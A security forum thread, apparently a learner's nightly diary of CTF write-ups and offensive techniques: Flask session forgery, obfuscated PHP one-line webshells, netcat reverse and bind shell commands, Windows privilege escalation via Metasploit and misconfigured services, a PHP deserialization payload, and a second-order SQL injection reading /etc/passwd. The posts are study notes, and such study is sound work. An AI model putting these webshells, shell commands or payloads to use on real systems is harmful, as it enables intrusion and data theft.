安全矩阵

 找回密码
 立即注册
搜索
楼主: littlebird

邹政的凌晨学习日记

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-17 01:19:32 | 显示全部楼层
这是今天做的ctf题,有3种解法,目前只理解了2种,最后一种在理解后再发出来
方法一:
首先是由于题目提示,我们知道这是基于flask框架构造的登录系统,那么我们第一个想到的就是session伪造了
我们先去GitHub上下载源码
https://github.com/woadsl1234/hctf_flask/
从中我们知道了加密的密钥那么就可以通过
  1. git clone https://github.com/noraj/flask-session-cookie-manager
复制代码

下载加密代码,得到伪造的session
方法二:
Unicode欺骗
通过代码我们知道
  1. name = strlower(session['name'])
复制代码

这样一句
  1. def strlower(username):
  2.     username = nodeprep.prepare(username)
  3.     return username
复制代码

这个nodeprep.prepare存在漏洞。我们还会发现,login的时候又strlower一次。这个本来是转小写的,但是如果我们注册的用户名是这个:
ᴬᴰᴹᴵᴺ
login的时候会经过一次strlower会编程ADMIN,在change password的时候会变成admin。因此可以更改admin的密码,从而完成登录。
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-18 00:33:17 | 显示全部楼层
这里先继续昨天谈到了那道题吧,这个思路属实是离奇
这里利用的是条件竞争(要说这是最离谱的是因为,这里本来是利用flask的密钥进行session伪造的,但是又出来一个unicode混淆,利用函数特性重置了admin的密码属实离谱得很,这里还好理解说实话)


这里的两个用户操作都是不安全的,因为并没有进行check身份,这就进行了session赋值
那么我们设想,能不能利用这一点,改掉admin的密码呢?
例如:
我们登录sky用户,得到session a
用session a去登录触发admin赋值
改密码,此时session a已经被更改为session b了,即session name=admin
成功更改admin的密码
但是如果我们的Session a是登录后的,那么是无法再去登录admin的

我们会在第一步直接跳转,所以这里需要条件竞争

条件竞争思路
那么能不能避开这个check呢?
答案是显然的,我们双线并进
当我们的一个进程运行到改密码

这里的时候,我们的另一个进程正好退出了这个用户,并且来到了登录的这个位置

回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-18 00:34:13 | 显示全部楼层
新一句话木马实现
现在我们假设eval被过滤了,那么我们可以如何绕过呢?

经过这一天的学习,我了解到了一个新的断言函数assert

参数 assertion 既支持表达式,也支持表达式字符串(某些特定的场景会用到,比如判断某个字符串表达式是否合法)
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。

那么我们就可以用它来进行包裹特定参数了嘛?
我们不能只满足于此,要更加谨慎才对,尽可能避免出现木马特征,

这里又用到了一个array_map函数,array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。
那么我们就可以将assert()函数应用于我们的参数了
由此构成了我们的木马payload:
  1. <?php array_map("ass\x65rt",(array)$_REQUEST['xss']);?>
复制代码
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-18 00:40:34 | 显示全部楼层
我又开始思考有没有必要一定要用<?php?>呢?
经过实践,我发现可以用JavaScript代码实现,实际原理很简单
其实就是利用了js的类型声明而已
代码如下:
  1. <script language="Php">eval ($_POST[1]);</script>
复制代码
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-19 00:31:03 | 显示全部楼层
nc提权
多数用于执行命令不回显和防火墙限制等

方法一

webshell中执行:nc路径 -vv 本机ip 端口 -e cmd路径

首先本地监听 nc -vv -l -p 8080

-l:监听端口,监听入站信息-p:后跟本地端口号-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信


方法二
c:\inetpub\wwwroot\nc.exe -l -p 8888 -t -e c:\inetpub\wwwroot\cmd.exe


本打telnet 连接
-l 监听本地入栈信息
-p port 打开本地端口
-t 以telnet形式应答入栈请求
-e 程序重定向
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-22 00:00:44 | 显示全部楼层
0x01 Windows内核溢出漏洞提权

Windows内核溢出漏洞提权通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限
的EXP和它们的补丁编号,进行提升权限本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传
本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。github上windows系统溢出漏洞
提权的汇总:https://github.com/SecWiki/windows-kernel-exploits
实战中最常用的本地溢出提权有 CVE-2018-8120、MS16-032、MS15-051 和 MS14-058 。在MSF中,最常用的提权模块是CVE-2018-8120;在CobaltStrike中,最常用的提权模块的是 MS14-058。这四个提权,都有对应的exe程序。exe程序均支持32和64位的机器。
手工查找补丁情况

systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"  
#直接找是否存在cve-2018-8120对应的KB4131188补丁

1605453409_5fb14661688db7d8fef67.png!small

1605453460_5fb146945ea3bee46bfa1.png!small
可以看到只安装了3个补丁

WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口
到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC,我们不但可以管理本地计
算机,还可以管理统一局域网内的所有远程计算机(需要必要的权限),而被管理的计算机不必事先安装WMIC
利用Metasploit发现缺失补丁
利用post/windows/gather/enum_patches 模块 可以根据漏洞编号快速找出系统中缺少的补丁
设置获取的session即可运行

1605453476_5fb146a4e804520f15256.png!small
MSF下还提供了 post/multi/recon/local_exploit_suggester 模块,该模块用于快速识别系统中可能被利用的漏洞

1605453506_5fb146c2131bfb488b3de.png!small
Windows Exploit Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要目标系统的信息。

#更新漏洞数据库,会生成一个xls的文件,如下 2020-11-11-mssb.xls
python windows-exploit-suggester.py --update
#查看目标主机系统信息,保存为sysinfo.txt文件
systeminfo > sysinfo.txt
#然后运行如下命令,查看该系统是否存在可利用的提权漏洞
python windows-exploit-suggester.py -d 2020-11-11-mssb.xls -i sysinfo.txt

1605453521_5fb146d1f1b380ebfcd2e.png!small
漏洞复现
选择利用模块攻击
search  cve-2018-8120
可以看到找到了一个漏洞利用Exploit模块,我们使用该模块
use exploit/windows/local/ms18_8120_win32k_privesc

1605453531_5fb146db5fca06577acb1.png!small
设置 session 为我们刚刚获得权限的 session ID,run运行。

1605453539_5fb146e33a77243124f39.png!small
可以看到,我们获得了 System 权限。
0x02 Windows系统配置错误提权
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持
1.系统服务权限配置错误
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用
的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。windows服务是以system权限运行的,
其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有
效保护的服务。
利用方式
1.Powershell中的PowerUp脚本
https://github.com/PowerShellMaf ... Privesc/PowerUp.ps1
加载模块并执行 列出可能存在问题的所有服务  
分析能否利用
2.Metasploit中的攻击模块
exploit/windows/local/service_permissions
service_permissions模块会使用 两种方式获取system权限
如果以管理员权限运行 会尝试创建并运行一个新的服务
如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持
在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的

1605453545_5fb146e9cf95cc99605e2.png!small
2.注册表键AlwaysInstallElevated
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT
Authority\System权限来安装恶意的MSI文件。
windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软
件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI
文件,双击MSI文件就会运行msiexec.exe。
原理:是因为用户打开了windows installer 特权安装功能

1605453551_5fb146efe6fdf69d4b829.png!small
利用方式
1.powerup下的Get-RegistryAlwaysInstallElevated模块检查注册表键是否被设置
如果被设置则意味MSI文件是以system权限下能运行
2.Metasploit的exploit/windows/local/always_install_elevated模块
该模块会创建一个文件名随机的MSI文件 并在提权后删除所有已部署的文件

1605453558_5fb146f662cc4ef09afc8.png!small
可以看到成功提权
只要禁用注册表键AlwaysInstallElevated 就可以阻止攻击者通过MSI文件进行提权
3、可信任服务路径漏洞
利用了windows文件路径解析的特性,如果一个服务调用的可执行文件没有正确处理所引用的完整路径名,这个漏洞就会
被攻击者用来上传任意可执行文件。如果一个被适当命名的可执行文件(木马)被上传到受影响的目录中 服务一旦重启
该程序就会以system权限运行通俗的说,如果一个服务的可执行文件的路径(带空格)没有被双引号引起来,那么这个服
务就有漏洞。
寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v
"C:\Windows\\" | findstr /i /v """
检测是否有对目标文件夹的写权限 可以使用icacls 工具
如果确认目标机器存在此漏洞 把我们的木马上传到目并重命名
重启服务
sc stop service_name
sc start service_name

可以直接使用metasploit中的   
exploit/windows/local/trusted_service_path模块
正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f

1605453568_5fb14700c4f195c8c7f32.png!small
上述表示没有可利用的漏洞将文件路径用引号引起来 就不会出现问题

4、自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。在这个过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码。

1605453576_5fb14708979a0aeadf5fe.png!small
Metasploit集成了漏洞利用模块
post/windows/gather/enum_unattend
1605453580_5fb1470cb6d4d572fd0f9.png!small
5、计划任务
可以使用如下命令查看计算机计划任务
schtasks /query /fo LIST /v
AccessChk用于在windows中进行一些高级查询、管理和故障排除工作。由于它是微软官方提供的工具,所以杀毒软件不会有告警。如果黑客对以高权限运行的任务,所在的目录具有写权限,那么就可以使用恶意程序覆盖原有的程序。这样,在计划任务下次执行的时候,就会以高权限运行恶意程序。
通过AccessChk查看指定目录的权限配置情况:
accesschk64.exe -dqv "C:\Program Files (x86)" -accepteula

1605453587_5fb1471300f800fae1760.png!small
常用命令
accesschk64.exe /accepteula 第一次运行SysInternals工具包里的工具时 会弹出一个许可协议对话框 使用accepteula参数自动接受许可协议accesschk64.exe -uwdqsUsers C:\ 查看某个驱动器下所有「权限配置」有问题的文件夹:accesschk64.exe -uwdqsUsers c:\*.* 查看某个驱动器下所有「权限配置」有问题的文件:
PowerUp.ps1脚本的使用
PowerUp.ps1脚本是 Privsec
目录下的一个脚本,功能非常强大。拥有很多用来寻找目标主机Windows服务配置错误来进行提权的模块。当我们无法通过 windows
内核漏洞进行提权的话,这个时候我们就可以利用该脚本来寻找目标主机上Windows服务配置错误来进行提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权。
Invoke-Allchecks模块
powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks -verbose
运行该脚本,该脚本会自动检查PowerUp.ps1下所有的模块,并在存在漏洞利用的模块下的AbuseFunction中直接给出利用方法
1605453595_5fb1471b085f9aa540422.png!small
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-24 01:12:26 | 显示全部楼层
今天练习了一下网鼎杯的AreUSerialz,反序列化的题目
源码如下
  1. <?php

  2. include("flag.php");

  3. highlight_file(__FILE__);

  4. class FileHandler {

  5.     protected $op;
  6.     protected $filename;
  7.     protected $content;

  8.     function __construct() {
  9.         $op = "1";
  10.         $filename = "/tmp/tmpfile";
  11.         $content = "Hello World!";
  12.         $this->process();
  13.     }

  14.     public function process() {
  15.         if($this->op == "1") {
  16.             $this->write();
  17.         } else if($this->op == "2") {
  18.             $res = $this->read();
  19.             $this->output($res);
  20.         } else {
  21.             $this->output("Bad Hacker!");
  22.         }
  23.     }

  24.     private function write() {
  25.         if(isset($this->filename) && isset($this->content)) {
  26.             if(strlen((string)$this->content) > 100) {
  27.                 $this->output("Too long!");
  28.                 die();
  29.             }
  30.             $res = file_put_contents($this->filename, $this->content);
  31.             if($res) $this->output("Successful!");
  32.             else $this->output("Failed!");
  33.         } else {
  34.             $this->output("Failed!");
  35.         }
  36.     }

  37.     private function read() {
  38.         $res = "";
  39.         if(isset($this->filename)) {
  40.             $res = file_get_contents($this->filename);
  41.         }
  42.         return $res;
  43.     }

  44.     private function output($s) {
  45.         echo "[Result]: <br>";
  46.         echo $s;
  47.     }

  48.     function __destruct() {
  49.         if($this->op === "2")
  50.             $this->op = "1";
  51.         $this->content = "";
  52.         $this->process();
  53.     }

  54. }

  55. function is_valid($s) {
  56.     for($i = 0; $i < strlen($s); $i++)
  57.         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  58.             return false;
  59.     return true;
  60. }

  61. if(isset($_GET{'str'})) {

  62.     $str = (string)$_GET['str'];
  63.     if(is_valid($str)) {
  64.         $obj = unserialize($str);
  65.     }

  66. }
复制代码

这题首先我们知道,在unserialize()是__construct函数是不会被调用的,这是常识
那么我们只能利用析构函数
  1. function __destruct() {
  2.         if($this->op === "2")
  3.             $this->op = "1";
  4.         $this->content = "";
  5.         $this->process();
  6.     }
复制代码

我们发现如果直接将op赋值为2是不行的对吧,但是再看,op是属于强比较,需要完全一样,这里是于字符"2"进行比较的,那么我们可以通过整型2进行绕过,因为process中如果op为1是无法利用的,无法构成利用链
再看op为2时的read函数,是如何读出我们需要的文件的
  1. private function read() {
  2.         $res = "";
  3.         if(isset($this->filename)) {
  4.             $res = file_get_contents($this->filename);
  5.         }
  6.         return $res;
  7.     }
复制代码

在read函数中,使用filename调用file_get_contents函数将文件内容赋值给$res输出。

这里的filename是我们可控的,那么可以用前不久学的php://filter伪协议读取文件。然后使用output函数输出。
那么content就没啥用了
直接构造序列化
  1. <?php
  2. class FileHandler {

  3.     public $op=2;
  4.     public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
  5.     public $content;

  6. }

  7. $a = new FileHandler();
  8. echo serialize($a);
  9. ?>
复制代码

当然这里是不能直接用protect的,这或许也是考点之一,protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
最后成功得到flag
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-24 23:57:28 | 显示全部楼层
AES五种加密模式(CBC、ECB、CTR、OCF、CFB)
这里是学习了多个老师傅的文章得出的
首先是Lowang师傅通过在研究HLS的AES加密,由于一个地方电视台的HLS流有AES加密,在查看了相关的加解密方案后发现使用的是简单的AES的CBC模式,在CBC的模式下,会设置一个IV,初始化向量。但是我在解密的时候,使用了一个由于理解错误而产生的一个错误IV居然也能解密视频并进行播放
具体请看:关于AES加解密中CBC模式的IV初始化向量的安全性问题
虽然有五种加密,但是常用的还是CBC,CBC的全称Cipher Block Chaining ,有点类似于区块链哈,我们先来看下加密方式
CBC加密

上面的图片从左往右看,初始化IV只有在第一个块加密的时候才会用到,而第N个块的加密IV则是用的N-1(N>1)个加密后的二进制数组。
CBC解密

CBC的解密则也是从左往右看,但是加密时IV在解密时候,只会用于对第一个块进行解密,其他块的解密则是使用上一块的加密二进制作为IV进行解密操作。
  1. 加密时,用iv和key去加密第一个块,然后用第一个块的加密数据作为下一个块的iv,依次迭代。解密时,用n-1个块的加密数据作为iv和key去解密第n个块(n>1),只有第一个块才会用加密时的iv去解密第一个块。按照这样的逻辑来看,那么如果解密时,使用了iv错误,出问题的数据应该只有第一个块。
复制代码

通过上面的分析就能知道,加密的时候,iv会影响所有数据的加密结果,而解密时,iv只会影响第一个加密块的解密结果,其他块的解密可以直接通过分隔加密数据获取正确是N-1块的IV。

这也就印证了为什么ff能播放我用错误的iv解密出来的视频流数据,因为第一块的大小存储大概是id3 的数据,ff直接丢掉id3的数据,直接解码后面的视频数据 ,ff 应该是识别h264编码头开始解码视频。

那么从这点可以看出,在使用了key的情况下,IV对整个数据的保密性没有太大的作用。
再来说说我是怎么发现这个问题,因为错误的IV只会影响第一个块的数据,我在第一次尝试解密后,直接用ff进行播放,ff能够解码并且播放成功,但是相对于其他未加密的HLS流来说,播放我解密后的数据会有3-5s的延时,这让我很是头疼,后来我就通过ffplay -v trace 打印播放解密的日志,发现视频数据的id3信息丢失了,那么出问题出在第一个块。然后再次研究m3u8加解密IV的赋值方法,后发来经过多次试验,正确赋值IV,解密出来的数据能够及时播放。

回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-26 00:19:28 | 显示全部楼层
今天要写实验报告,稍微有点忙,就复习一下,造成文件包含的几个函数,及其差别
当然这里引用了合天网安实验室的文章,原文请看:PHP文件包含漏洞利用思路与Bypass总结手册(一
1.include()
2.include_once()
3.require()
4.require_once()
函数功能
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
函数差异

include()
include() 函数包含出错的话,只会提出警告,不会影响后续语句的执行

require()
require() 函数包含出错的话,则会直接退出,后续语句不在执行

include_once() 和 require_once()
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
漏洞原因

文件包含函数所加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致执行了非预期的代码。
漏洞分类
LFI

LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。同时借助此漏洞也可以查看服务器上的一些重要文件。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。

例如本地读取/etc/passwd系统重要文件
RFI

RFI(Remote File Inclusion) 远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。 但RFI的利用条件较为苛刻,需要php.ini中进行配置

allow_url_fopen = On
allow_url_include = On

allow_url_fopen = On

该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:On

该选项为on便是允许 包含URL 对象文件等。

两个配置选项均需要为On,才能远程包含文件成功

修改php.ini

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

php5.5.9 -> php.ini

至于之后的操作就要利用php伪协议,这里就不再赘述了,懂得都懂
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
特别注明:
allow_url_fopen 默认为 On
allow_url_include 默认为 Off
回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
 楼主| 发表于 2021-10-30 00:57:32 | 显示全部楼层
今天做了一个网鼎杯的commit题,涉及到了git文件恢复,二次注入,.DS_Store文件泄露属实有点太难了
题目提示我们没有commit,即需要git恢复。
脚本及使用
接下来的git部分属实是脚本完成的,所以就不写了
直接快进到二次注入
我们来看下面的代码:
  1. $category = addslashes($_POST['category']);
  2. $title = addslashes($_POST['title']);
  3. $content = addslashes($_POST['content']);
复制代码


  1. $category = mysql_fetch_array($result)['category'];
复制代码

可以看到,在do=write的时候我们对categroy等变量进行了转义,每个引号、反斜杠等符号前都会加上一个反斜杠(众所周知数据库会自动清除反斜杠)。而在do=comment的时候会直接从数据库中对categroy进行调用,没有任何过滤,这就导致了二次注入。
比如我POST$categroy=123‘//,虽然它进行了转义,但数据库里的数据仍然是123",再到sql语句调用时,就会变成
  1. $sql = "insert into comment
  2.             set category = '123’//',"
复制代码

此时依然可以到达注入的目的。
然后再利用SQL读取文件
用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
剩下的就是构建payload了
  1. payload:123',content=(select( load_file('/etc/passwd'))),/*
复制代码

剩下就是不断的文件读取了,不写了,睡觉咯
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 14:18 , Processed in 0.021541 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表